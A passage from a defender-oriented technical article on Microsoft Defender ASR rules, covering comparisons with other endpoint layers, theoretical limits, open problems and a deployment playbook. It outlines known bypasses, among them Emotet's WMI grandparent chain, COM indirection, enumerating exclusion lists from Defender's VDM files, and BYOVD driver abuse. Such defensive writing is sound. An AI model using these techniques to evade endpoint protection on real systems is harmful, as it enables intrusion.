&lt;p&gt;Object.entries(counts)
  .sort((a, b) =&amp;gt; b[1] - a[1])
  .forEach(([key, n]) =&amp;gt; console.log(n + &quot;\t&quot; + key));
`}&lt;/p&gt;
&lt;p&gt;Nineteen rules. Three categories. One catalogue that has grown by twelve rules in nine years and shows no sign of stopping. But ASR is not the only behaviour-blocking layer on the Windows endpoint. How does the catalogue compare to CrowdStrike&apos;s Indicators of Attack, SentinelOne&apos;s Storyline, App Control for Business, Sysmon, and the rest?&lt;/p&gt;
&lt;h2&gt;7. Where ASR Sits Among the Behaviour Layers&lt;/h2&gt;
&lt;p&gt;ASR is one of seven currently-deployed methods for behavioural defence on the Windows endpoint. None of them obsoletes any of the others; they layer. Counting the strengths honestly means counting the weaknesses too.&lt;/p&gt;
&lt;h3&gt;App Control for Business, AppLocker, WDAC&lt;/h3&gt;
&lt;p&gt;Identity classification. App Control for Business and its predecessor AppLocker are stricter than ASR on the identity axis (default-deny when tuned) but blind to behaviour edges among allowed binaries [@ms-learn-applocker]. The Vulnerable Driver Blocklist that ships default-on with Windows 11 22H2 is the kernel-load-time sibling to ASR&apos;s BYOVD rule and works against the same class of attack from the kernel side rather than the user side [@ms-learn-driver-block-rules]. App Control and ASR are complementary, not competing.&lt;/p&gt;
&lt;h3&gt;CrowdStrike Falcon Behavioral Indicators of Attack&lt;/h3&gt;
&lt;p&gt;Cloud-evaluated edge classifier. CrowdStrike&apos;s own one-line definition of IOAs is the cleanest a vendor has published [@crowdstrike-ioa-definition]: &quot;telltale signs or activities that signal a potential cybersecurity threat or attack is in progress. ... They aim to identify and mitigate a threat before it can fully materialize.&quot; The trade-offs cut both ways. CrowdStrike pushes new IOA rules from the cloud without an OS update -- real adaptivity. The cost: no public reference catalogue (every IOA is vendor-internal), a cloud dependency for some configurations, and a commercial licence. ASR is free; CrowdStrike is not.&lt;/p&gt;
&lt;h3&gt;SentinelOne Singularity Storyline, ActiveEDR&lt;/h3&gt;
&lt;p&gt;On-agent behavioural-AI engine with per-host storyline graph correlation and a STAR custom-rule layer. SentinelOne&apos;s product-level marketing pages return JavaScript-rendered shells or HTTP 404s to text-only fetchers, so byte-precision verification for specific features is currently unavailable. The model-level description (on-agent graph correlation that works offline) is well-attested in the secondary literature. The trade-offs mirror CrowdStrike&apos;s: vendor-internal classifier, no public catalogue, commercial licence. This article keeps the framing at the model level and avoids specific feature or performance claims.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The SentinelOne canonical product URLs are HTTP 404 or JavaScript-rendered shells with no byte-extractable text. The model-level claim (on-agent behavioural-AI graph correlation, STAR custom-rule layer, designed offline) is well-attested in the secondary literature; no specific feature claim has a single byte-verified URL behind it in this iteration.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Microsoft 365 Apps internet-macro default block&lt;/h3&gt;
&lt;p&gt;The Office-internal parallel layer that ended the macro era for unmanaged tenants [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022]. Office-only and macro-only; covers neither DDE, OLE, embedded executables, nor non-VBA Office attack chains. ASR remains the layer that catches the corresponding edge if the macro layer is bypassed by a managed-tenant override or by a non-macro initial-access vector.&lt;/p&gt;
&lt;h3&gt;Sysmon and custom SIEM rules&lt;/h3&gt;
&lt;p&gt;High-fidelity edge &lt;strong&gt;visibility&lt;/strong&gt;; no enforcement. Practitioners run &lt;a href=&quot;https://paragmali.com/blog/from-cmdexe-to-a-kusto-row-in-90-seconds-how-sysmon-and-defe/&quot; rel=&quot;noopener&quot;&gt;Sysmon&lt;/a&gt; alongside ASR for audit-trail coverage of edges ASR does not block and for corroborating telemetry around edges it does. Note that MITRE M1042 (&quot;Disable or Remove Feature or Program&quot;) does not mention Sysmon or ASR by name [@mitre-m1042]; the Sysmon-with-ASR pairing is practitioner consensus rather than an M1042 nomination. M1040 (Behavior Prevention on Endpoint) is the mitigation that names ASR rules verbatim [@mitre-m1040].&lt;/p&gt;
&lt;h3&gt;EDR-in-block-mode&lt;/h3&gt;
&lt;p&gt;The sibling post-event automated-response layer to ASR, not an umbrella over it. EDR-in-block-mode is &lt;strong&gt;required&lt;/strong&gt; for passive-AV configurations where Defender Antivirus is not the primary. Microsoft Learn&apos;s EDR-in-block-mode page is unambiguous about the dependency: &quot;Features like network protection and attack surface reduction (ASR) rules and indicators ... are only available when Microsoft Defender Antivirus is running in Active mode&quot; [@ms-learn-edr-in-block-mode]. EDR-in-block-mode acts strictly post-event on EDR detections; ASR acts pre-completion on the operation itself. Different points in the timeline.&lt;/p&gt;
&lt;p&gt;A common misframing places EDR-in-block-mode as the umbrella feature that &quot;covers&quot; ASR. The Microsoft Learn page contradicts that reading directly. EDR-in-block-mode is the layer that lets Defender for Endpoint block based on its EDR findings even when a third-party AV is primary; ASR is the layer that intercepts the operation at the minifilter before any other component sees it. They are siblings, not parent and child [@ms-learn-edr-in-block-mode].&lt;/p&gt;
&lt;h3&gt;The comparison matrix&lt;/h3&gt;
&lt;p&gt;The seven methods on ten axes. Read this as a trade-off space; no row dominates the others on every axis.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;th&gt;Classification axis&lt;/th&gt;
&lt;th&gt;Enforcement substrate&lt;/th&gt;
&lt;th&gt;Catalogue inspectability&lt;/th&gt;
&lt;th&gt;Cost&lt;/th&gt;
&lt;th&gt;Cloud-connectivity required&lt;/th&gt;
&lt;th&gt;OS coverage&lt;/th&gt;
&lt;th&gt;Best suited for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;ASR rules&lt;/td&gt;
&lt;td&gt;Edge&lt;/td&gt;
&lt;td&gt;Kernel-mode minifilter + user-mode service&lt;/td&gt;
&lt;td&gt;Fully public per-rule [@ms-learn-asr-reference]&lt;/td&gt;
&lt;td&gt;Free with Windows&lt;/td&gt;
&lt;td&gt;No (some rules require MAPS)&lt;/td&gt;
&lt;td&gt;Windows 10 1709+, Windows 11, Windows Server&lt;/td&gt;
&lt;td&gt;Behaviour-edge defence; macro chains; LSASS; BYOVD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;M365 Apps internet-macro block&lt;/td&gt;
&lt;td&gt;Document-trust&lt;/td&gt;
&lt;td&gt;Office process&lt;/td&gt;
&lt;td&gt;Public docs [@ms-learn-internet-macros-blocked]&lt;/td&gt;
&lt;td&gt;Free with M365&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Microsoft 365 Apps&lt;/td&gt;
&lt;td&gt;Internet-marked Office macros&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;App Control + Vulnerable Driver Blocklist&lt;/td&gt;
&lt;td&gt;Identity + driver hash&lt;/td&gt;
&lt;td&gt;Kernel&lt;/td&gt;
&lt;td&gt;Public policy XML / Block rules [@ms-learn-driver-block-rules]&lt;/td&gt;
&lt;td&gt;Free with Windows&lt;/td&gt;
&lt;td&gt;No&lt;/td&gt;
&lt;td&gt;Windows 10+, Server&lt;/td&gt;
&lt;td&gt;Default-deny; kernel-load-time BYOVD&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CrowdStrike Falcon IOAs&lt;/td&gt;
&lt;td&gt;Edge&lt;/td&gt;
&lt;td&gt;Agent + cloud&lt;/td&gt;
&lt;td&gt;Vendor-internal [@crowdstrike-ioa-definition]&lt;/td&gt;
&lt;td&gt;Commercial&lt;/td&gt;
&lt;td&gt;Yes (some)&lt;/td&gt;
&lt;td&gt;Cross-platform&lt;/td&gt;
&lt;td&gt;Adaptive cloud-pushed behavioural detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SentinelOne Storyline&lt;/td&gt;
&lt;td&gt;Edge graph&lt;/td&gt;
&lt;td&gt;On-agent&lt;/td&gt;
&lt;td&gt;Vendor-internal&lt;/td&gt;
&lt;td&gt;Commercial&lt;/td&gt;
&lt;td&gt;No (designed offline)&lt;/td&gt;
&lt;td&gt;Cross-platform&lt;/td&gt;
&lt;td&gt;Per-host graph correlation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Sysmon + SIEM&lt;/td&gt;
&lt;td&gt;Visibility only&lt;/td&gt;
&lt;td&gt;User-mode (Sysmon) + SIEM&lt;/td&gt;
&lt;td&gt;Public events; SIEM rules per-tenant&lt;/td&gt;
&lt;td&gt;Sysmon free; SIEM commercial&lt;/td&gt;
&lt;td&gt;Yes (SIEM)&lt;/td&gt;
&lt;td&gt;Windows 7+, Linux&lt;/td&gt;
&lt;td&gt;Audit trail; corroboration&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;EDR-in-block-mode&lt;/td&gt;
&lt;td&gt;Post-detection block&lt;/td&gt;
&lt;td&gt;MDE service&lt;/td&gt;
&lt;td&gt;MDE-managed&lt;/td&gt;
&lt;td&gt;Defender for Endpoint licence&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
&lt;td&gt;Windows 10+, Server&lt;/td&gt;
&lt;td&gt;Passive-AV configurations&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;

AV-Comparatives&apos; Endpoint Prevention and Response Test 2023 evaluated 12 EPR products against 50 multi-stage targeted-attack scenarios across three phases -- Endpoint Compromise and Foothold, Internal Propagation, Asset Breach -- over June through September 2023 [@av-comparatives-epr-2023]. Per-product scoring is paywalled and is not reproduced here; only the methodology is cited as the cross-vendor backdrop against which any &quot;ASR vs the rest&quot; empirical claim has to be measured. The article makes no specific scoring claim against AV-Comparatives data because the scoring is not publicly extractable from the free summary.
&lt;p&gt;Each row in the matrix names a different trade-off. ASR is the only row that is free, kernel-mediated, fully inspectable, and shipped with every Windows edition that includes Defender Antivirus. But the catalogue is finite. And the attacker&apos;s degrees of freedom are not. What does the theory say about the gap?&lt;/p&gt;
&lt;h2&gt;8. What No Behaviour Block List Can Do&lt;/h2&gt;
&lt;p&gt;Every defence layer has a lower bound. ASR&apos;s is &lt;strong&gt;Cohen 1984&lt;/strong&gt; -- but indirectly, through the structural floor that every edge predicate inherits.&lt;/p&gt;
&lt;p&gt;Cohen&apos;s 1984 result (introduced in Section 3 as a Definition with its diagonal-construction proof sketch and Rice-1953 corollary) proves that detection of arbitrary viral behaviour in a program reduces to the Halting Problem and is therefore undecidable in general [@cohen-1984-part1]. ASR sidesteps the result by changing the question. Not &quot;is this program malicious?&quot; -- undecidable in general -- but &quot;did this specific edge in the runtime graph just occur?&quot; -- decidable per event at the OS interception layer. The Cohen ceiling does not directly forbid edge classification; it forbids &lt;em&gt;node&lt;/em&gt; classification. Edge classification is decidable per edge.&lt;/p&gt;
&lt;p&gt;The cost is two structural floors that any behaviour-block list inherits.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The over-approximation floor.&lt;/strong&gt; Every edge predicate is itself an over-approximation of &quot;is this edge malicious.&quot; Legitimate IT-automation Word macros do legitimately spawn PowerShell. Legitimate backup software does legitimately read LSASS memory (&lt;code&gt;WerFaultSecure.exe&lt;/code&gt; appears on extracted LSASS-rule exclusion lists per Adam Svoboda&apos;s VDM-extraction technique [@adamsvoboda-asr-exclusions]). Legitimate management software does legitimately write driver files. Every ASR rule therefore has a structural false-positive floor; the per-rule exclusion list is the recovery mechanism. Exclusion lists trade safety for compatibility.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The catalogue-finiteness upper bound.&lt;/strong&gt; The space of possible attack edges is countably infinite. Any composition of &lt;code&gt;CreateProcess&lt;/code&gt;, &lt;code&gt;WriteFile&lt;/code&gt;, &lt;code&gt;RegSetValue&lt;/code&gt;, WMI subscription, scheduled task, COM &lt;code&gt;IDispatch::Invoke&lt;/code&gt;, or driver-load can be chained into a new edge sequence. The catalogue is finite -- nineteen rules in May 2026 [@ms-learn-asr-reference]. The bound is sharp: an attacker whose chain crosses any edge &lt;code&gt;e&lt;/code&gt; in the catalogue is detected at &lt;code&gt;e&lt;/code&gt;; an attacker whose chain avoids every edge in the catalogue is not.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; ASR compresses bypass cost; it does not eliminate it. The catalogue is finite. The attacker&apos;s space of edges is countably infinite. Behaviour-block lists are incomplete by construction -- and that is not a defect; it is the design philosophy. The defender&apos;s job is not to fix the incompleteness but to make every cheap attack chain expensive enough that the attacker stops using it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The empirical evidence for the catalogue-finiteness bound is the bypass-research cluster. SANS ISC Diary 27036 (Daniel Wesemann, January 27, 2021) documents the WMI-grandparent bypass to the Office-child-process rule [@sans-isc-27036-emotet-asr]. Sevagas / Emeric Nasi&apos;s &quot;Bypass Windows Defender Attack Surface Reduction&quot; PDF (2021) documents COM-object-indirection bypasses [@sevagas-asr-bypass]. Primusinterp&apos;s &quot;Cheesing Microsoft Attack Surface Reduction rules&quot; enumerates chained-COM bypasses against the 2017-era catalogue [@primusinterp-cheesing-asr]. Adam Svoboda&apos;s VDM-extraction technique enumerates the exclusion lists themselves [@adamsvoboda-asr-exclusions]. None of these is a defect Microsoft has been slow to fix. All are structural consequences of the catalogue-finiteness bound.&lt;/p&gt;

The proof in Cohen&apos;s open-access archive reduces virus detection to the Halting Problem; the 1984 DoD/NBS conference paper is the original presentation; the 1987 *Computers and Security* reprint is the canonical citable journal form. The open-access archive at all.net is the byte-verifiable text; the verbatim sentence &quot;Protection from denial of services requires the detection of halting programs which is well known to be undecidable&quot; is on the first page of Part 1 [@cohen-1984-part1]. The line is the closest one-sentence statement of the structural ceiling that any node-classifying malware detector inherits.
&lt;p&gt;ASR&apos;s design philosophy is not to achieve the theoretical optimum of &quot;complete, sound, real-time, false-positive-free edge catalogue&quot; (unachievable for the reasons above). It is to &lt;strong&gt;compress the attacker&apos;s bypass cost&lt;/strong&gt; -- to force the attacker off the cheap, common attack chains (&lt;code&gt;WINWORD -&amp;gt; cmd -&amp;gt; PowerShell&lt;/code&gt;) onto more expensive ones (WMI grandparent, COM indirection, scheduled-task fan-out, exclusion-list enumeration, BYOVD). The Section 11 FAQ entry that picks up this thread makes it explicit.&lt;/p&gt;
&lt;p&gt;A finite catalogue, an unbounded attacker space, and a structural floor under each rule. The next section names the open problems that follow.&lt;/p&gt;
&lt;h2&gt;9. What Is Still Moving&lt;/h2&gt;
&lt;p&gt;The bypass-research corpus around ASR is not a temporary embarrassment. It is the permanent shape of every catalogue-based defence. Six open problems define the layer&apos;s research frontier as of May 2026.&lt;/p&gt;
&lt;h3&gt;Problem 1 -- The WMI and COM grandparent bypass class&lt;/h3&gt;
&lt;p&gt;The canonical bypass is documented in SANS Internet Storm Center Diary 27036, published January 27, 2021 by handler Daniel Wesemann [@sans-isc-27036-emotet-asr]. Emotet&apos;s VBA invoked &lt;code&gt;Win32_Process.Create&lt;/code&gt; via WMI, so &lt;code&gt;WmiPrvSE.exe&lt;/code&gt; became the literal parent of &lt;code&gt;cmd.exe&lt;/code&gt;; the Office-child-process rule&apos;s predicate is byte-literal (it checks the immediate parent image against the Office binary list) and therefore never fires.&lt;/p&gt;

sequenceDiagram
    participant VBA as VBA macro in WINWORD.EXE
    participant WMI as WmiPrvSE.exe (svchost host)
    participant CMD as cmd.exe
    participant WD as WdFilter.sys
    participant MP as MsMpEng.exe
    VBA-&amp;gt;&amp;gt;WMI: GetObject winmgmts, Win32_Process.Create
    WMI-&amp;gt;&amp;gt;WD: process-create notify, parent = WmiPrvSE
    WD-&amp;gt;&amp;gt;MP: edge event, parent image WmiPrvSE.exe
    MP--&amp;gt;&amp;gt;WD: rule D4F940AB predicate false, no Office parent
    WD--&amp;gt;&amp;gt;WMI: allow CreateProcess
    WMI-&amp;gt;&amp;gt;CMD: spawn cmd.exe

&apos;cmd&apos; is not a child process of Word, and the ASR block rule to prevent child processes of Word consequently doesn&apos;t trigger. -- Daniel Wesemann, SANS ISC Diary 27036, January 27, 2021 [@sans-isc-27036-emotet-asr]
&lt;p&gt;The PSExec/WMI rule (&lt;code&gt;d1e49aac-...&lt;/code&gt;) was added in Windows 10 1803 to catch the most common variant, but Microsoft Learn warns that it conflicts with Configuration Manager [@ms-learn-asr-overview]. COM-object indirection (&lt;code&gt;MMC.Application&lt;/code&gt;, &lt;code&gt;Outlook.Application&lt;/code&gt;, &lt;code&gt;ShellWindows&lt;/code&gt;) generalises the bypass beyond WMI [@sevagas-asr-bypass] [@primusinterp-cheesing-asr]. No ASR rule today covers transitive-parent classification across COM or scheduled-task fan-out without breaking Configuration Manager dependencies. The open question is whether a transitive-parent predicate can be added without breaking SCCM, and what false-positive rate that costs.&lt;/p&gt;
&lt;h3&gt;Problem 2 -- Event 5007 and exclusion-list enumeration&lt;/h3&gt;
&lt;p&gt;Adam Svoboda&apos;s technique demonstrates that ASR exclusion lists live in Defender VDM containers (&lt;code&gt;mpasbase.vdm&lt;/code&gt;, &lt;code&gt;mpasdlta.vdm&lt;/code&gt;) and are extractable with &lt;code&gt;wdextract64.exe&lt;/code&gt; [@adamsvoboda-asr-exclusions]. A low-privilege user with read access to &lt;code&gt;C:\ProgramData\Microsoft\Windows Defender\Definition Updates\&lt;/code&gt; can enumerate the whitelisted paths the LSASS rule, the BYOVD rule, and other rules carry by default. Tamper Protection prevents runtime modification of the exclusion list but does not prevent read access [@ms-learn-tamper-protection]. Once the exclusion list is enumerated, the per-rule defence becomes &quot;did the attacker drop the payload in a writable whitelisted path?&quot; -- a deployment-quality question, not a structural one. The open problem is whether the exclusion lists should be encrypted at rest with a key not derivable by an unprivileged process.&lt;/p&gt;
&lt;h3&gt;Problem 3 -- Catalogue completeness against modern initial-access vectors&lt;/h3&gt;
&lt;p&gt;Emotet&apos;s post-2022 pivot to OneNote embedded scripts, HTML smuggling, ISO and IMG containers (which strip MOTW on extraction), LNK files, and 7z archives is not covered by ASR&apos;s existing rules [@welivesecurity-emotet-pivot-2022]. SmartScreen, Network Protection, and the Microsoft 365 Apps internet-macro default block cover some of this surface, but not via ASR&apos;s edge-predicate model. The open question is whether the ASR catalogue should grow to cover OneNote-spawns-child, or whether the right answer is to rely on the parallel layers and accept that ASR&apos;s coverage of OneNote-era initial-access is partial.&lt;/p&gt;
&lt;h3&gt;Problem 4 -- The Webshell rule&apos;s missing telemetry surface&lt;/h3&gt;
&lt;p&gt;Per the Microsoft Learn rules reference, &quot;Block Webshell creation for Servers&quot; (&lt;code&gt;a8f5898e-...&lt;/code&gt;) is the only rule without a &lt;code&gt;DeviceEvents&lt;/code&gt; &lt;code&gt;ActionType&lt;/code&gt; pair [@ms-learn-asr-reference]. Defenders cannot KQL-hunt for blocked Webshell creations the way they can for every other rule; visibility lives in &lt;code&gt;MpCmdRun.log&lt;/code&gt; and IIS access logs. The open question is when Microsoft will add the missing ActionType so that the Webshell rule&apos;s audit-and-block events become uniformly queryable in Advanced Hunting.&lt;/p&gt;
&lt;h3&gt;Problem 5 -- Tamper Protection versus kernel-level attackers&lt;/h3&gt;
&lt;p&gt;ASR is enforced by &lt;code&gt;WdFilter.sys&lt;/code&gt; running at integrity level System, but a kernel-mode attacker (for example, one with a BYOVD-loaded malicious driver) is a peer. BlackByte&apos;s 2022 BYOVD campaigns demonstrated the pattern: load a vulnerable signed driver, disable Defender&apos;s notify routines, proceed [@sophos-blackbyte-returns-2022]. The ASR BYOVD rule (&lt;code&gt;56a863a9-...&lt;/code&gt;) plus the WDAC Vulnerable Driver Blocklist default-on in Windows 11 22H2 [@ms-learn-driver-block-rules] plus Hypervisor-protected Code Integrity each close a sub-class. None closes the full class, because the driver-block-list is update-cadence-bounded. The open question is whether &lt;code&gt;WdFilter.sys&lt;/code&gt; can be moved into a Virtualization-Based Security isolated enclave such that even a kernel-compromise primitive cannot tamper with ASR enforcement.&lt;/p&gt;
&lt;h3&gt;Problem 6 -- The inspectability dual&lt;/h3&gt;
&lt;p&gt;ASR&apos;s structural floor is &lt;strong&gt;catalogue finiteness&lt;/strong&gt;. The structural floor of its SOTA competitors (CrowdStrike AI-powered IOAs, SentinelOne Storyline) is &lt;strong&gt;vendor-internal inspectability&lt;/strong&gt;. When an AI-powered IOA fires, the defender has no rule GUID to look up, no published predicate to reason about, no per-edge auditability for purple-team coverage assessment. The two bounds are complementary: ASR optimises for inspectability at the cost of catalogue-growth lag; the AI-powered competitors optimise for adaptive classifier coverage at the cost of inspectability. A complete edge-classification SOTA layer would combine both. No single product currently does.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The Outflank ASR-bypass blog corpus is a well-known research-cluster member; live URLs returned HTTP 403 (Cloudflare) and Wayback Machine fallbacks were unreachable from the verification environment. Named honestly here without inventing a URL. The bypass cluster&apos;s claims are independently supported by SANS ISC [@sans-isc-27036-emotet-asr], Sevagas [@sevagas-asr-bypass], Primusinterp [@primusinterp-cheesing-asr], and Adam Svoboda [@adamsvoboda-asr-exclusions].&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The catalogue is incomplete by construction. The defender&apos;s job is not to fix the incompleteness; it is to make every cheap attack chain too expensive to use. Section 10 codifies that into a Monday-morning playbook.&lt;/p&gt;
&lt;h2&gt;10. How to Actually Use This on Monday&lt;/h2&gt;
&lt;p&gt;Five steps. Source-control everything. Treat ASR not as a replacement for AppLocker, App Control for Business, or your EDR -- treat it as a kernel-mediated, free, behaviour-edge layer that costs almost nothing once tuned.&lt;/p&gt;
&lt;h3&gt;Step 1 -- Enable the three Standard protection rules in Block mode first&lt;/h3&gt;
&lt;p&gt;Microsoft itself classifies these three as low-false-positive-floor [@ms-learn-asr-overview]:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Block abuse of exploited vulnerable signed drivers (Device) -- &lt;code&gt;56a863a9-875e-4185-98a7-b882c64b5ce5&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Block credential stealing from the Windows local security authority subsystem -- &lt;code&gt;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&lt;/code&gt;. Note: if LSA Protection is enabled on the device (recommended together with Credential Guard), Microsoft Learn states verbatim that &quot;this rule is redundant&quot; and Defender will show the rule as &quot;not applicable&quot; [@ms-learn-asr-overview].&lt;/li&gt;
&lt;li&gt;Block persistence through WMI event subscription -- &lt;code&gt;e6db77e5-3df2-4cf1-b95a-636979351e5b&lt;/code&gt;. Even though this rule is in the Standard set, Microsoft Learn recommends extensive Audit-mode testing if Configuration Manager manages the device, &quot;because the Configuration Manager client relies heavily on WMI&quot; [@ms-learn-asr-overview].&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Step 2 -- Move the other sixteen rules through Audit, Warn, Block&lt;/h3&gt;
&lt;p&gt;The canonical deployment ladder is enumerated in the implementation guide on Microsoft Learn: start every rule in Audit, watch &lt;code&gt;DeviceEvents&lt;/code&gt; for false positives, transition to Warn (or Block where Warn is unsupported), then transition to Block once the false-positive rate is acceptable in your first deployment ring [@ms-learn-asr-deployment-implement]. Two rules skip Warn entirely and go Audit straight to Block: Block credential stealing from LSASS and Block Office applications from injecting code into other processes [@ms-learn-asr-overview]. The other fourteen Other ASR rules support the full three-step ladder.&lt;/p&gt;
&lt;h3&gt;Step 3 -- Hunt with the universal query&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;DeviceEvents | where ActionType startswith &quot;Asr&quot;&lt;/code&gt; returns every Audit and Block emission across the fleet. Pair with &lt;code&gt;DeviceProcessEvents&lt;/code&gt; and &lt;code&gt;DeviceFileEvents&lt;/code&gt; for the corroborating edge data; the Section 6 RunnableCode block demonstrates the shape. For the one rule without a &lt;code&gt;DeviceEvents&lt;/code&gt; row -- Block Webshell creation for Servers -- use Sysmon Event ID 11 in web roots plus IIS access logs [@ms-learn-asr-reference]. Microsoft Learn&apos;s operationalize page is the corresponding canonical reference for post-deployment monitoring practices [@ms-learn-asr-deployment-operationalize].&lt;/p&gt;
&lt;h3&gt;Step 4 -- Layer with the sibling controls&lt;/h3&gt;
&lt;p&gt;ASR alone is not a complete posture. The set of controls that compose with ASR includes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Tamper Protection&lt;/strong&gt; [@ms-learn-tamper-protection] -- prevents administrators (and attackers with admin rights) from disabling ASR rules at runtime through registry or service tampering.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cloud Protection (MAPS)&lt;/strong&gt; -- required for several rules including the prevalence-based executable rule and the ransomware advanced-protection rule [@ms-learn-asr-reference].&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Microsoft 365 Apps macros-from-the-internet-blocked-by-default policy&lt;/strong&gt; [@ms-learn-internet-macros-blocked] [@ms-techcommunity-internet-macros-2022] -- the consumer-facing twin of ASR&apos;s Office rules; default-on for every Microsoft 365 tenant since the July 2022 staged rollout.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The Vulnerable Driver Blocklist&lt;/strong&gt; [@ms-learn-driver-block-rules] -- default-on in Windows 11 22H2; sibling to the BYOVD ASR rule at the kernel-load edge.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EDR-in-block-mode&lt;/strong&gt; [@ms-learn-edr-in-block-mode] -- only when Defender Antivirus is in passive mode (third-party AV is primary).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sysmon&lt;/strong&gt; -- for visibility into edges ASR does not block and for audit-trail corroboration of edges it does. (M1040 nominates ASR per-technique [@mitre-m1040]; M1042 does not mention Sysmon or ASR by name [@mitre-m1042] -- the pairing is practitioner consensus, not an M1042 nomination.)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step 5 -- Track exclusions in source control&lt;/h3&gt;
&lt;p&gt;The exclusion list is the most common deployment-failure surface. Adding &lt;code&gt;C:\Program Files\Vendor\&lt;/code&gt; as an exclusion for one rule applies fleet-wide; over-broad exclusions are the dominant practical risk to the layer&apos;s integrity. Use Git or equivalent; review exclusions every quarter; demand a Jira ticket per exclusion with a sunset date.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; (1) Enable BYOVD, LSASS, and WMI persistence in Block mode (Standard protection -- start here). (2) Move the other sixteen rules through Audit, Warn, Block. (3) Hunt with &lt;code&gt;DeviceEvents | where ActionType startswith &quot;Asr&quot;&lt;/code&gt;. (4) Layer with Tamper Protection, Cloud Protection, the Microsoft 365 Apps macro default block, the Vulnerable Driver Blocklist, EDR-in-block-mode (for passive AV), and Sysmon. (5) Track exclusions in source control with sunset dates.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Exclusions added to one ASR rule apply fleet-wide. Over-broad exclusions are the dominant practical attack surface against an otherwise well-configured ASR posture. Adam Svoboda&apos;s published technique demonstrates that low-privilege users can enumerate the exclusion list directly from Defender&apos;s VDM containers [@adamsvoboda-asr-exclusions]. Track exclusions in source control. Review quarterly. Require a ticket with a sunset date for every entry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If LSA Protection (RunAsPPL) is enabled on the device, the LSASS ASR rule shows as &quot;not applicable&quot; because LSA Protection already enforces the same boundary at a different layer [@ms-learn-asr-overview]. Confused defenders sometimes interpret the &quot;not applicable&quot; state as a rule misconfiguration; it is in fact the correct behaviour, and means the host is already protected against the equivalent class of attacks by LSA Protection plus Credential Guard.&lt;/p&gt;

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids `
  &apos;56a863a9-875e-4185-98a7-b882c64b5ce5&apos;, `
  &apos;9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2&apos;, `
  &apos;e6db77e5-3df2-4cf1-b95a-636979351e5b&apos; `
  -AttackSurfaceReductionRules_Actions Enabled, Enabled, Enabled
Get-MpPreference | Select-Object -ExpandProperty AttackSurfaceReductionRules_Ids
```
Run as administrator. The three GUIDs are BYOVD, LSASS, and WMI persistence respectively. Confirm with the Get-MpPreference call. For staged rollout in an enterprise, manage these through Intune or Group Policy instead so the configuration follows the device.
&lt;p&gt;Five steps, three Standard protection rules, sixteen Other ASR rules, two rules that skip Warn mode, one universal hunting query. The rest is exception-list discipline. Section 11 closes with the seven misconceptions that survive every rollout.&lt;/p&gt;
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;

No. ASR rules live inside **Microsoft Defender Antivirus** -- the on-host scanning engine that ships free with every Windows edition that includes Defender. **Microsoft Defender for Endpoint** is the cloud-managed EDR layer Microsoft sells on top, with `DeviceEvents` Advanced Hunting, Indicators of Compromise management, and automated investigation. ASR rules can be configured locally via PowerShell or Group Policy with no Defender for Endpoint licence at all. Defender for Endpoint adds management, telemetry ingestion, and Advanced Hunting; it does not add the enforcement [@ms-learn-asr-reference] [@ms-learn-edr-in-block-mode].

No. This is the SOC-playbook folklore that survives every rollout. Each rule emits a rule-specific `AsrAudited` and `AsrBlocked` pair (the server-only Webshell rule is the only exception, with no `DeviceEvents` row at all). The canonical universal Advanced Hunting query is `DeviceEvents | where ActionType startswith &quot;Asr&quot;`, not equality against a generic value. Microsoft Learn&apos;s rules reference enumerates every pair [@ms-learn-asr-reference].

